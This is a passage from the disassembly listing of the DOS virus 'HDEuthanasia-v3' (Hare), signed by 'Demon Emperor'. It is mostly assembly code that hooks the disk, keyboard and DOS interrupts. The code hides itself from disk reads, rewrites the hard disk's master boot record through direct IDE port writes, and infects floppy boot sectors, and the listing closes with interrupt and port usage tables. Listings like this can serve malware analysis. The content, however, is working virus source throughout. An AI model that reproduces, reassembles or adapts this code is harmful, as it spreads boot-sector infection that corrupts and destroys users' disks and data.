1945 push bp
1946 mov bp,sp
1948 mov data_62,0 ; (9804:0191=0)
194D mov data_53,71h ; (9804:0182=206h)
1953 mov data_55,0 ; (9804:0185=0)
1958 mov data_54,1 ; (9804:0184=0)
195D mov ax,3513h
1960 int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
1962 mov data_51,bx ; (9804:017E=61F7h)
1966 mov word ptr data_51+2,es ; (9804:0180=2099h)
196A call sub_2 ; (01F6)
196D cld ; Clear direction
196E , mov si,offset data_51 ; (9804:017E=0F7h)
1971 , mov di,1447h ; (9804:1447=97h)
1974 movsw ; Mov [si] to es:[di]
1975 movsw ; Mov [si] to es:[di]
1976 mov ax,440Dh
1979 mov bx,180h
197C mov cx,84Bh
197F int 21h ; DOS Services ah=function 44h
; IOctl-C block device control
; bl=drive, cx=category/type
; ds:dx ptr to parameter block
1981 mov ax,3516h
1984 int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
1986 mov word ptr ds:[18E9h],bx ; (9804:18E9=42Dh)
198A mov word ptr ds:[18EBh],es ; (9804:18EB=70h)
198E mov byte ptr ds:[18EDh],5 ; (9804:18ED=4)
1993 mov word ptr ds:[18EEh],0 ; (9804:18EE=0)
1999 , mov dx,offset int_16h_entry
199C mov ax,2516h
199F int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
19A1 push cs
19A2 pop es
19A3 mov bx,[bp+PARAMETER_3]
19A6 mov cx,[bp+PARAMETER_2]
19A9 mov dx,[bp+PARAMETER_1]
19AC loc_227: ; xref 9804:19C3
19AC mov ax,[bp+PARAMETER_4]
19AF call sub_59 ; (18A5)
19B2 jnc loc_228 ; Jump if carry=0
19B4 mov ax,word ptr ds:[18EEh] ; (9804:18EE=0)
19B7 add al,4
19B9 mov word ptr ds:[18EEh],ax ; (9804:18EE=0)
19BC mov byte ptr ds:[18F0h],0 ; (9804:18F0=2)
19C1 cmp al,0Ch
19C3 jbe loc_227 ; Jump if below or =
19C5 stc ; Set carry flag
19C6 loc_228: ; xref 9804:19B2
19C6 pushf ; Push flags
19C7 push ds
19C8 lds dx,dword ptr ds:[18E9h] ; (9804:18E9=42Dh) Load seg:offset ptr
19CC mov ax,2516h
19CF int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
19D1 pop ds
19D2 popf ; Pop flags
19D3 pop bp
19D4 retn 8
sub_63 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1405, 16C6, 16EA
;==========================================================================
19D7 sub_64 proc near
19D7 call sub_67 ; (1A73)
19DA jc loc_230 ; Jump if carry Set
19DC jmp short loc_231 ; (19E8)
19DE loc_229: ; xref 9804:19F3
19DE pop es
19DF pop dx
19E0 pop cx
19E1 pop bx
19E2 pop ax
19E3 loc_230: ; xref 9804:19DA
19E3 call sub_59 ; (18A5)
19E6 jmp short loc_ret_234 ; (1A61)
19E8 loc_231: ; xref 9804:19DC
19E8 push ax
19E9 push bx
19EA push cx
19EB push dx
19EC push es
19ED mov di,4
19F0 loc_232: ; xref 9804:1A5A
19F0 mov si,bx
19F2 dec di
19F3 jz loc_229 ; Jump if zero
19F5 mov ah,0
19F7 mov dl,80h
19F9 int 13h ; Disk dl=drive 0 ah=func 00h
; reset disk, al=return status
19FB xor ax,ax ; Zero register
19FD mov es,ax
19FF mov es:data_22e,al ; (0000:048E=0)
1A03 cld ; Clear direction
1A04 mov dx,3F6h
1A07 mov al,4
1A09 out dx,al ; port 3F6h al = 4, reset controller
1A0A jmp short $+2 ; delay for I/O
1A0C jmp short $+2 ; delay for I/O
1A0E mov al,0
1A10 out dx,al ; port 3F6h al = 0, hdsk0 register
1A11 call sub_65 ; (1A62)
1A14 mov dx,1F2h
1A17 mov al,1
1A19 out dx,al ; port 1F2h, hdsk0-sector count
1A1A jmp short $+2 ; delay for I/O
1A1C jmp short $+2 ; delay for I/O
1A1E inc dx
1A1F mov al,1
1A21 out dx,al ; port 1F3h, hdsk0-sector numbr
1A22 jmp short $+2 ; delay for I/O
1A24 jmp short $+2 ; delay for I/O
1A26 inc dx
1A27 mov al,0
1A29 out dx,al ; port 1F4h, hdsk0-cylr,lo byte
1A2A jmp short $+2 ; delay for I/O
1A2C jmp short $+2 ; delay for I/O
1A2E inc dx
1A2F mov al,0
1A31 out dx,al ; port 1F5h, hdsk0-cylr,hi byte
1A32 jmp short $+2 ; delay for I/O
1A34 jmp short $+2 ; delay for I/O
1A36 inc dx
1A37 mov al,0A0h
1A39 out dx,al ; port 1F6h, hdsk0-siz/drv/head
1A3A jmp short $+2 ; delay for I/O
1A3C jmp short $+2 ; delay for I/O
1A3E inc dx
1A3F mov al,31h ; '1'
1A41 out dx,al ; port 1F7h, hdsk0-command reg
1A42 call sub_66 ; (1A6B)
1A45 mov cx,100h
1A48 mov dx,1F0h
1A4B db 0F3h, 6Fh
1A4D loc_233: ; xref 9804:1A53
1A4D mov al,es:data_22e ; (0000:048E=0)
1A51 or al,al ; Zero ?
1A53 jz loc_233 ; Jump if zero
1A55 call sub_65 ; (1A62)
1A58 test al,21h ; '!'
1A5A jnz loc_232 ; Jump if not zero
1A5C pop es
1A5D pop dx
1A5E pop cx
1A5F pop bx
1A60 pop ax
1A61 loc_ret_234: ; xref 9804:19E6
1A61 retn
sub_64 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1A11, 1A55, 1A6B
;==========================================================================
1A62 sub_65 proc near
1A62 mov dx,1F7h
1A65 loc_235: ; xref 9804:1A68
1A65 in al,dx ; port 1F7h, hdsk0-status reg
1A66 test al,80h
1A68 jnz loc_235 ; Jump if not zero
1A6A retn
sub_65 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1A42
;==========================================================================
1A6B sub_66 proc near
1A6B loc_236: ; xref 9804:1A70
1A6B call sub_65 ; (1A62)
1A6E test al,8
1A70 jz loc_236 ; Jump if zero
1A72 retn
sub_66 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:19D7
;==========================================================================
1A73 sub_67 proc near
1A73 push ax
1A74 push bx
1A75 mov ax,sp
1A77 push sp
1A78 pop bx
1A79 stc ; Set carry flag
1A7A pushf ; Push flags
1A7B cmp ax,bx
1A7D jne loc_237 ; Jump if not equal
1A7F mov al,12h
1A81 call sub_68 ; (1A96)
1A84 popf ; Pop flags
1A85 clc ; Clear carry flag
1A86 pushf ; Push flags
1A87 and ah,0F0h
1A8A cmp ah,10h
1A8D ja loc_237 ; Jump if above
1A8F popf ; Pop flags
1A90 stc ; Set carry flag
1A91 pushf ; Push flags
1A92 loc_237: ; xref 9804:1A7D, 1A8D
1A92 popf ; Pop flags
1A93 pop bx
1A94 pop ax
1A95 retn
sub_67 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1A81
;==========================================================================
1A96 sub_68 proc near
1A96 push bx
1A97 mov bl,al
1A99 or al,80h
1A9B cli ; Disable interrupts
1A9C out 70h,al ; port 70h, CMOS addr,bit7=NMI
; al = 92h, hard disk type
1A9E jmp short $+2 ; delay for I/O
1AA0 jmp short $+2 ; delay for I/O
1AA2 in al,71h ; port 71h, CMOS data
1AA4 mov ah,al
1AA6 xor al,al ; Zero register
1AA8 jmp short $+2 ; delay for I/O
1AAA jmp short $+2 ; delay for I/O
1AAC out 70h,al ; port 70h, CMOS addr,bit7=NMI
; al = 0, seconds register
1AAE sti ; Enable interrupts
1AAF mov al,bl
1AB1 pop bx
1AB2 retn
sub_68 endp
1AB3 db 0, 0, 0, 0, 0
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:17E2, 189E
;==========================================================================
1AB8 sub_69 proc near
1AB8 push cs
1AB9 pop es
1ABA , mov di,1AB3h ; (9804:1AB3=0)
1ABD lds si,dword ptr es:[1447h] ; (9804:1447=2597h) Load seg:offset pt
1AC2 cld ; Clear direction
1AC3 movsw ; Mov [si] to es:[di]
1AC4 movsw ; Mov [si] to es:[di]
1AC5 movsb ; Mov [si] to es:[di]
1AC6 retn
sub_69 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:17E5, 1811, 18A1, 1B31, 1B8C, 1BF4, 1CFE
; 1D79
;==========================================================================
1AC7 sub_70 proc near
1AC7 push ds
1AC8 push si
1AC9 push ax
1ACA pushf ; Push flags
1ACB test byte ptr cs:[16CAh],2 ; (9804:16CA=2)
1AD1 jnz loc_238 ; Jump if not zero
1AD3 lds si,dword ptr cs:[1447h] ; (9804:1447=2597h) Load seg:offset pt
1AD8 mov byte ptr [si],0EAh
1ADB mov word ptr [si+1],1B37h
1AE0 mov [si+3],cs
1AE3 loc_238: ; xref 9804:1AD1
1AE3 popf ; Pop flags
1AE4 pop ax
1AE5 pop si
1AE6 pop ds
1AE7 retn
sub_70 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:04E7, 1808, 1B44
;==========================================================================
1AE8 sub_71 proc near
1AE8 pushf ; Push flags
1AE9 push cx
1AEA push di
1AEB push si
1AEC push ds
1AED push es
1AEE push cs
1AEF pop ds
1AF0 test byte ptr ds:[16CAh],2 ; (9804:16CA=2)
1AF5 jnz loc_239 ; Jump if not zero
1AF7 cli ; Disable interrupts
1AF8 , mov si,1AB3h ; (9804:1AB3=0)
1AFB les di,dword ptr ds:[1447h] ; (9804:1447=2597h) Load seg:offset pt
1AFF cld ; Clear direction
1B00 mov cx,5
1B03 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
1B05 loc_239: ; xref 9804:1AF5
1B05 sti ; Enable interrupts
1B06 pop es
1B07 pop ds
1B08 pop si
1B09 pop di
1B0A pop cx
1B0B popf ; Pop flags
1B0C retn
sub_71 endp
1B0D db 0, 0
1B0F data_149 dw 0 ; xref 9804:1890
1B11 data_150 dw 3AFFh ; xref 9804:13C2, 1B7E
1B13 data_151 dw 0 ; xref 9804:170D, 179B
1B15 data_152 db 0 ; xref 9804:1C27
1B16 data_153 db 0 ; xref 9804:1B1A, 1B2A, 1C11, 1CA8
1B17 data_154 db 0 ; xref 9804:1D69, 1D74, 1D90, 1DCE
1B18 db 0
1B19 loc_240: ; xref 9804:1B6A
1B19 , popf ; Pop flags
1B1A mov cs:data_153,ah ; (9804:1B16=0)
1B1F call sub_59 ; (18A5)
1B22 pushf ; Push flags
1B23 or ah,ah ; Zero ?
1B25 jz loc_241 ; Jump if zero
1B27 jmp loc_253 ; (1BFD)
1B2A loc_241: ; xref 9804:1B25, 1CB0
1B2A mov cs:data_153,0 ; (9804:1B16=0)
1B30 popf ; Pop flags
1B31 call sub_70 ; (1AC7)
1B34 retf 2 ; Return far
1B37 pushf ; Push flags
1B38 cmp ax,5445h
1B3B jne loc_242 ; Jump if not equal
1B3D mov ax,4554h
1B40 popf ; Pop flags
1B41 retf 2 ; Return far
1B44 loc_242: ; xref 9804:1B3B
1B44 call sub_71 ; (1AE8)
1B47 cmp dx,80h
1B4B jne loc_243 ; Jump if not equal
1B4D cmp cx,1
1B50 jne loc_243 ; Jump if not equal
1B52 cmp ah,3
1B55 ja loc_243 ; Jump if above
1B57 cmp ah,2
1B5A jb loc_243 ; Jump if below
1B5C popf ; Pop flags
1B5D jmp short loc_247 ; (1B92)
1B5F nop
1B60 loc_243: ; xref 9804:1B4B, 1B50, 1B55, 1B5A
1B60 cmp dl,80h
1B63 jae loc_245 ; Jump if above or =
1B65 cmp ah,16h
1B68 jne loc_244 ; Jump if not equal
1B6A jmp short loc_240 ; (1B19)
1B6C loc_244: ; xref 9804:1B68
1B6C cmp ah,5
1B6F jae loc_245 ; Jump if above or =
1B71 cmp ah,1
1B74 jbe loc_245 ; Jump if below or =
1B76 jmp loc_253 ; (1BFD)
1B79 loc_245: ; xref 9804:1B63, 1B6F, 1B74
1B79 cmp dl,80h
1B7C jne loc_246 ; Jump if not equal
1B7E cmp cs:data_150,cx ; (9804:1B11=3AFFh)
1B83 jne loc_246 ; Jump if not equal
1B85 and ch,2
1B88 loc_246: ; xref 9804:1B7C, 1B83, 1CCF
1B88 , popf ; Pop flags
1B89 call sub_59 ; (18A5)
1B8C call sub_70 ; (1AC7)
1B8F retf 2 ; Return far
1B92 loc_247: ; xref 9804:1B5D
1B92 push bx
1B93 push cx
1B94 push dx
1B95 push es
1B96 cmp ah,2
1B99 je loc_248 ; Jump if equal
1B9B jmp short loc_249 ; (1BBB)
1B9D loc_248: ; xref 9804:1B99
1B9D call sub_59 ; (18A5)
1BA0 pushf ; Push flags
1BA1 push ax
1BA2 push bx
1BA3 mov ah,8
1BA5 mov dl,80h
1BA7 call sub_59 ; (18A5)
1BAA inc ch
1BAC dec dh
1BAE mov dl,80h
1BB0 mov ax,201h
1BB3 pop bx
1BB4 call sub_59 ; (18A5)
1BB7 pop ax
1BB8 popf ; Pop flags
1BB9 jmp short loc_251 ; (1BF0)
1BBB loc_249: ; xref 9804:1B9B
1BBB push ds
1BBC push di
1BBD push si
1BBE push ax
1BBF dec al
1BC1 push es
1BC2 push bx
1BC3 jz loc_250 ; Jump if zero
1BC5 add bx,200h
1BC9 inc cl
1BCB call sub_59 ; (18A5)
1BCE dec cl
1BD0 loc_250: ; xref 9804:1BC3
1BD0 mov ah,8
1BD2 mov dl,80h
1BD4 call sub_59 ; (18A5)
1BD7 pop bx
1BD8 pop es
1BD9 inc ch
1BDB dec dh
1BDD mov dl,80h
1BDF mov ax,301h
1BE2 call sub_53 ; (163C)
1BE5 call sub_59 ; (18A5)
1BE8 mov bx,ax
1BEA pop ax
1BEB mov al,bl
1BED pop si
1BEE pop di
1BEF pop ds
1BF0 loc_251: ; xref 9804:1BB9
1BF0 pop es
1BF1 pop dx
1BF2 pop cx
1BF3 pop bx
1BF4 call sub_70 ; (1AC7)
1BF7 retf 2 ; Return far
1BFA loc_252: ; xref 9804:1C1D, 1C43, 1C51
1BFA jmp loc_258 ; (1CA0)
1BFD loc_253: ; xref 9804:1B27, 1B76
1BFD push ax
1BFE push bx
1BFF push cx
1C00 push dx
1C01 push es
1C02 push ds
1C03 push si
1C04 push di
1C05 xor ax,ax ; Zero register
1C07 mov ds,ax
1C09 xor ch,ch ; Zero register
1C0B mov cl,dl
1C0D inc al
1C0F shl al,cl ; Shift w/zeros fill
1C11 cmp cs:data_153,0 ; (9804:1B16=0)
1C17 jne loc_254 ; Jump if not equal
1C19 test al,ds:data_21e ; (0000:043F=0)
1C1D jnz loc_252 ; Jump if not zero
1C1F loc_254: ; xref 9804:1C17
1C1F push cs
1C20 pop ds
1C21 push ds
1C22 pop es
1C23 mov cl,4
1C25 shl al,cl ; Shift w/zeros fill
1C27 mov data_152,al ; (9804:1B15=0)
1C2A mov si,3
1C2D loc_255: ; xref 9804:1C45
1C2D , xor ax,ax ; Zero register
1C2F call sub_59 ; (18A5)
1C32 mov ax,201h
1C35 mov cx,1
1C38 mov dh,ch
1C3A mov bx,1E6Ah
1C3D call sub_59 ; (18A5)
1C40 jnc loc_256 ; Jump if carry=0
1C42 dec si
1C43 jz loc_252 ; Jump if zero
1C45 jmp short loc_255 ; (1C2D)
1C47 loc_256: ; xref 9804:1C40
1C47 mov ax,ds:data_171e ; (9804:1F6C=0)
1C4A sub ax,ds:data_170e ; (9804:1F6A=0)
1C4E cmp ax,0CCFFh
1C51 je loc_252 ; Jump if equal
1C53 call sub_72 ; (1D80)
1C56 call sub_73 ; (1D8E)
1C59 jnc loc_257 ; Jump if carry=0
1C5B mov ax,401h
1C5E xor cx,cx ; Zero register
1C60 inc cx
1C61 mov dh,ch
1C63 call sub_59 ; (18A5)
1C66 jmp short loc_258 ; (1CA0)
1C68 loc_257: ; xref 9804:1C59
1C68 xor bx,bx ; Zero register
1C6A mov cl,1
1C6C mov ax,310h
1C6F call sub_59 ; (18A5)
1C72 jc loc_258 ; Jump if carry Set
1C74 mov bx,1E6Ah
1C77 mov cl,11h
1C79 mov ax,301h
1C7C call sub_59 ; (18A5)
1C7F jc loc_258 ; Jump if carry Set
1C81 mov bl,2
1C83 push dx
1C84 call sub_49 ; (1462)
1C87 pop dx
1C88 mov cx,1
1C8B xor dh,dh ; Zero register
1C8D mov bx,1E6Ah
1C90 mov byte ptr data_157,0EBh ; (9804:1E6A=98h)
1C95 mov byte ptr data_157+1,3Ch ; (9804:1E6B=0BCh) '<'
1C9A mov ax,301h
1C9D call sub_59 ; (18A5)
1CA0 loc_258: ; xref 9804:1BFA, 1C66, 1C72, 1C7F
1CA0 pop di
1CA1 pop si
1CA2 pop ds
1CA3 pop es
1CA4 pop dx
1CA5 pop cx
1CA6 pop bx
1CA7 pop ax
1CA8 cmp cs:data_153,0 ; (9804:1B16=0)
1CAE je loc_259 ; Jump if equal
1CB0 jmp loc_241 ; (1B2A)
1CB3 loc_259: ; xref 9804:1CAE
1CB3 cmp dh,0
1CB6 jne loc_260 ; Jump if not equal
1CB8 cmp cx,1
1CBB jne loc_260 ; Jump if not equal
1CBD test cs:data_59,4 ; (9804:018C=4)
1CC3 jnz loc_260 ; Jump if not zero
1CC5 cmp ah,2
1CC8 je loc_261 ; Jump if equal
1CCA cmp ah,3
1CCD je loc_263 ; Jump if equal
1CCF loc_260: ; xref 9804:1CB6, 1CBB, 1CC3
1CCF jmp loc_246 ; (1B88)
1CD2 loc_261: ; xref 9804:1CC8
1CD2 popf ; Pop flags
1CD3 call sub_59 ; (18A5)
1CD6 pushf ; Push flags
1CD7 push ax
1CD8 push bx
1CD9 push cx
1CDA push dx
1CDB push es
1CDC jc loc_262 ; Jump if carry Set
1CDE mov ax,word ptr es:[102h][bx] ; (9804:0102=0E800h)
1CE3 sub ax,word ptr es:[100h][bx] ; (9804:0100=860Eh)
1CE8 cmp ax,0CCFFh
1CEB jne loc_262 ; Jump if not equal
1CED mov ch,51h ; 'Q'
1CEF mov cl,11h
1CF1 mov dh,1
1CF3 mov ax,201h
1CF6 call sub_59 ; (18A5)
1CF9 loc_262: ; xref 9804:1CDC, 1CEB
1CF9 pop es
1CFA pop dx
1CFB pop cx
1CFC pop bx
1CFD pop ax
1CFE call sub_70 ; (1AC7)
1D01 popf ; Pop flags
1D02 retf 2 ; Return far
1D05 loc_263: ; xref 9804:1CCD
1D05 push ax
1D06 push bx
1D07 push es
1D08 push cs
1D09 pop es
1D0A mov ax,201h
1D0D mov bx,1E6Ah
1D10 call sub_59 ; (18A5)
1D13 pop es
1D14 pop bx
1D15 pop ax
1D16 push ax
1D17 dec al
1D19 jz loc_264 ; Jump if zero
1D1B add bx,200h
1D1F inc cl
1D21 call sub_59 ; (18A5)
1D24 sub bx,200h
1D28 dec cl
1D2A loc_264: ; xref 9804:1D19
1D2A push di
1D2B push si
1D2C push ds
1D2D push es
1D2E push bx
1D2F mov ax,word ptr es:[102h][di] ; (9804:0102=0E800h)
1D34 sub ax,word ptr es:[100h][di] ; (9804:0100=860Eh)
1D39 cmp ax,0CCFFh
1D3C jne loc_265 ; Jump if not equal
1D3E mov ch,51h ; 'Q'
1D40 mov cl,11h
1D42 mov dh,1
1D44 mov ax,301h
1D47 call sub_59 ; (18A5)
1D4A push es
1D4B pop ds
1D4C push cs
1D4D pop es
1D4E mov si,bx
1D50 add si,3
1D53 , mov di,offset data_159+1 ; (9804:1E6D=4Eh)
1D56 mov cx,3Bh
1D59 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
1D5B mov bx,1E6Ah
1D5E loc_265: ; xref 9804:1D3C
1D5E mov dh,0
1D60 mov cx,1
1D63 mov ax,301h
1D66 call sub_59 ; (18A5)
1D69 mov cs:data_154,ah ; (9804:1B17=0)
1D6E pop bx
1D6F pop es
1D70 pop ds
1D71 pop si
1D72 pop di
1D73 pop ax
1D74 mov ah,cs:data_154 ; (9804:1B17=0)
1D79 call sub_70 ; (1AC7)
1D7C popf ; Pop flags
1D7D retf 2 ; Return far
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1C53
;==========================================================================
1D80 sub_72 proc near
1D80 mov al,byte ptr ds:data_166e+1 ; (9804:1E7F=0)
1D83 cmp al,0FDh
1D85 je loc_266 ; Jump if equal
1D87 mov ch,51h ; 'Q'
1D89 jmp short loc_ret_267 ; (1D8D)
1D8B loc_266: ; xref 9804:1D85
1D8B mov ch,29h ; ')'
1D8D loc_ret_267: ; xref 9804:1D89
1D8D retn
sub_72 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1C56
;==========================================================================
1D8E sub_73 proc near
1D8E mov dh,ch
1D90 mov data_154,dl ; (9804:1B17=0)
1D94 xor ax,ax ; Zero register
1D96 mov es,ax
1D98 les di,dword ptr es:data_8e ; (0000:0078=522h) Load seg:offset ptr
1D9D mov ax,es:[di+3]
1DA1 push ax
1DA2 mov byte ptr es:[di+3],2
1DA7 mov byte ptr es:[di+4],11h
1DAC push cs
1DAD pop es
1DAE , mov di,data_174e ; (9804:206A=0)
1DB1 cld ; Clear direction
1DB2 mov cx,11h
1DB5 mov dl,1
1DB7 locloop_268: ; xref 9804:1DC3
1DB7 mov ah,1
1DB9 mov al,dh
1DBB stosw ; Store ax to es:[di]
1DBC mov al,dl
1DBE mov ah,2
1DC0 stosw ; Store ax to es:[di]
1DC1 inc dl
1DC3 loop locloop_268 ; Loop if cx > 0
1DC5 mov ax,50Fh
1DC8 mov ch,dh
1DCA mov cl,1
1DCC mov dh,1
1DCE mov dl,data_154 ; (9804:1B17=0)
1DD2 mov bx,206Ah
1DD5 call sub_59 ; (18A5)
1DD8 pushf ; Push flags
1DD9 mov byte ptr ds:[1DFDh],ch ; (9804:1DFD=51h)
1DDD xor ax,ax ; Zero register
1DDF mov es,ax
1DE1 les di,dword ptr es:data_8e ; (0000:0078=522h) Load seg:offset ptr
1DE6 popf ; Pop flags
1DE7 pop ax
1DE8 mov es:[di+3],ax
1DEC push cs
1DED pop es
1DEE retn
sub_73 endp
1DEF loc_269: ; xref 9804:1E0B
1DEF mov bx,0B50h
1DF2 mov es,bx
1DF4 xor bx,bx ; Zero register
1DF6 mov ax,1E0Eh
1DF9 push es
1DFA push ax
1DFB mov cx,5101h
1DFE mov ax,411h
1E01 mov dx,100h
1E04 int 13h ; Disk dl=drive a ah=func 04h
; verify sectors with mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
1E06 mov ax,211h
1E09 int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
1E0B jc loc_269 ; Jump if carry Set
1E0D retf ; Return far
1E0E sti ; Enable interrupts
1E0F xor ax,ax ; Zero register
1E11 mov es,ax
1E13 push cs
1E14 pop ds
1E15 cld ; Clear direction
1E16 , mov di,data_23e ; (0000:7C00=2)
1E19 , mov si,data_172e ; (9804:2000=0)
1E1C mov cx,200h
1E1F push es
1E20 push di
1E21 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
1E23 mov data_59,al ; (9804:018C=4)
1E26 call sub_20 ; (08D0)
1E29 call sub_48 ; (1379)
1E2C retf ; Return far
1E2D data_156 db '"HDEuthanasia-v3" by Demon Emper' ; xref 9804:0265
1E4D db 'or: Hare Krsna, hare, hare...'
1E6A data_157 dw 0BC98h ; xref 9804:07B2, 1052, 16A3, 1C90
1E6C data_159 dw 4E2Dh ; xref 9804:0AE7, 0AEB, 0AF7, 1177
; 119A
1E6E data_161 dw 2417h ; xref 9804:0AF3, 0AFF, 117D
1E70 db 42h,0B3h
1E72 data_162 dw 0EB2Dh ; xref 9804:108A
1E74 db 01h, 45h,0BEh
seg_a ends
end start
____________________ CROSS REFERENCE - KEY ENTRY POINTS ___________________
seg:off type label
---- ---- ---- --------------------------------
9804:0000 far start
9804:01A2 far int_01h_entry
9804:18AC far int_16h_entry
__________________ Interrupt Usage Synopsis __________________
Interrupt 10h : Video display ah=functn xxh
Interrupt 10h : ah=00h set display mode in al
Interrupt 10h : ah=0Eh write char al, teletype mode
Interrupt 12h : Put (memory size)/1K in ax
Interrupt 13h : Disk dl=drive # ah=func xxh
Interrupt 13h : ah=00h reset disk, al=return status
Interrupt 13h : ah=02h read sectors to memory es:bx
Interrupt 13h : ah=03h write sectors from mem es:bx
Interrupt 13h : ah=04h verify sectors with mem es:bx
Interrupt 13h : ah=08h get drive parameters, bl=type
Interrupt 16h : Keyboard i/o ah=function xxh
Interrupt 16h : ah=05h stuff key cx into keybd buffr
Interrupt 1Ah : Real time clock ah=func xxh
Interrupt 1Ah : ah=04h get date cx=year, dx=mon/day
Interrupt 21h : DOS Services ah=function xxh
Interrupt 21h : ah=25h set intrpt vector al to ds:dx
Interrupt 21h : ah=35h get intrpt vector al in es:bx
Interrupt 21h : ax=440Dh IOctl-C block device control
Interrupt 21h : ah=52h get DOS data table ptr es:bx
Interrupt 21h : ah=62h get Program Segment Prefix bx
Interrupt 2Fh : DOS Internal services
9 Ocurrences of non-standard interrupts used (search for ??).
__________________ I/O Port Usage Synopsis __________________
Port 40h : 8253 timer 0 clock
Port 43h : 8253 timer control
Port 43h : al = 0, latch timer0 count
Port 70h : CMOS addr,bit7=NMI
Port 70h : al = 0, seconds register
Port 70h : al = 12h, hard disk type
Port 71h : CMOS data
Port 1F2h : hdsk0-sector count
Port 1F3h : hdsk0-sector numbr
Port 1F4h : hdsk0-cylr,lo byte
Port 1F5h : hdsk0-cylr,hi byte
Port 1F6h : hdsk0-siz/drv/head
Port 1F7h : hdsk0-status reg
Port 1F7h : hdsk0-command reg
Port 3F6h : al = 0, hdsk0 register
Port 3F6h : al = 4, reset controller
; - HARE.LST ------->>>> CUT HERE <<<<--------------------------------------